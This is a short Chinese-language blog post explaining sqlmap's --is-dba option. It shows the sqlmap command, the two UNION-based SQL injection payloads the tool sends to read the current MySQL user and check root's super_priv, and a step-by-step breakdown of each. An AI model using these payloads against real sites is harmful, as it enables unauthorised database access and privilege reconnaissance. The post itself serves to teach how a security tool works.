sqlmap --is-dba参数解析
命令:
C:\Users\123\Desktop>sqlmap.py -u “http://www.example.com/test.php?id=1" –is-dba -v3
最后发现有两个payload:1
2
3-9849 UNION ALL SELECT NULL,CONCAT(0x7170707071,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x716b627a71),NULL,NULL,NULL,NULL,NULL-- qjRE
-7101 UNION ALL SELECT NULL,CONCAT(0x7170707071,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x716b627a71),NULL,NULL,NULL,NULL,NULL-- yCUM
我们把其中的重要信息取出来:
第一个payload:1
2
3
4
5
6
7
CAST(CURRENT_USER() AS CHAR)
//将当前用户名转换成CHAR格式
IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)
CONCAT(0x7170707071,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x716b627a71)
发现返回了 qpppqroot@localhostqkbzq
第二个payload:1
2
3
4
5
6
7SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1
(SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59
CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59) THEN 1 ELSE 0 END
CONCAT(0x7170707071,(CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59) THEN 1 ELSE 0 END),0x716b627a71)
看上面这张图,在mysql数据库下的user表下面有很多的列,列值为Y则代表权限可执行,这里的super_priv代表是否为超级管理权限
sqlmap进行了两次判断,猜测代码里面第一次是为了返回用户名,第二次则是查询第一次返回的用户名的权限。
说了这么多,查询权限的语句:1
SELECT super_priv FROM mysql.user WHERE user=username LIMIT 0,1
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com
文章标题:sqlmap --is-dba参数解析
本文作者:sher10ck
发布时间:2019-04-16, 14:16:49
最后更新:2020-01-13, 13:01:01
原始链接:http://sherlocz.github.io/2019/04/16/sqlmap-is-dba/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。